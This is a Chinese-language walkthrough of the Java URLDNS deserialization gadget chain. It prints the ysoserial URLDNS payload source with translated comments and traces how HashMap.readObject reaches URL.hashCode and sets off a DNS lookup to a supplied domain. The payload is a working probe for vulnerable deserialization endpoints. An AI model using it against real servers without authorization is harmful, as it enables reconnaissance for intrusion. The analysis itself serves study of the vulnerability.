JAVA-URLDNS链分析
JAVA-URLDNS链分析
1.从ysoserial工具中看exp
https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java
package ysoserial.payloads;
import java.io.IOException;
import java.net.InetAddress;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.net.URL;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
/**
有关此小工具链的更多详细信息,请访问以下url:
* https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/
*
*这是受到Philippe Arteau@h3xstream的启发,他写了一个博客
*描述他如何修改Java Commons Collections小工具的帖子
*在ysoserial中打开URL。这采用了相同的想法,但消除了
*对Commons集合的依赖,并使用
*标准JDK类。
*
* Java URL类的equals和
* hashCode方法。作为副作用,URL类将执行DNS查找
* 在比较期间(等于或哈希代码)。
*
* 作为反序列化的一部分,HashMap在它调用的每个键上调用hashCode
* 反序列化,因此使用Java URL对象作为序列化键允许
* 它将触发DNS查找。
*
* Gadget Chain:
* HashMap.readObject()
* HashMap.putVal()
* HashMap.hash()
* URL.hashCode()
*
*
*/
@SuppressWarnings({ "rawtypes", "unchecked" })
@PayloadTest(skip = "true")
@Dependencies()
@Authors({ Authors.GEBL })
public class URLDNS implements ObjectPayload<Object> {
public Object getObject(final String url) throws Exception {
//在有效负载创建期间避免 DNS 解析
//由于字段 java.net.URL.handler 是瞬态的,它不会是序列化有效负载的一部分。
URLStreamHandler handler = new SilentURLStreamHandler();
HashMap ht = new HashMap(); //包含 URL 的 HashMapthe URL
URL u = new URL(null, url, handler); // 用作键的 URL
ht.put(u, url); //该值可以是任何可序列化的值,URL 是触发 DNS 查找的关键。
Reflections.setFieldValue(u, "hashCode", -1); //在上面的 put 过程中,会计算并缓存 URL 的 hashCode。这将重置,因此下次调用 hashCode 时将触发 DNS 查找。
return ht;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(URLDNS.class, args);
}
/**
*此 URLStreamHandler 实例用于在创建 URL 实例时避免任何 DNS 解析。 * DNS 解析用于漏洞检测。重要的是不要在 * 之前使用序列化对象探测给定的 URL。 * * 潜在 的误报: * 如果首先从测试计算机解析 DNS 名称,则目标服务器可能会在第二次解析时 获得缓存命中。
*/
static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
}
从exp中可以看到最后序列化的对象是hashmap,所以我们直接看readObject方法。
可以看到在readObject方法里会将key和value提出来,然后执行hash(key),更进hash()。
发现调用key的hashcode方法。
然而我们传的key为url的实列,所以会调用url的hashcode方法
在exp中我们通过反射更改了hashcode属性值,从而进入到handler.hashcode()重置hashcode。
Reflections.setFieldValue(u, "hashCode", -1);
跟进:
发现会调用gethostaddress进行dns解析,从而达到目的。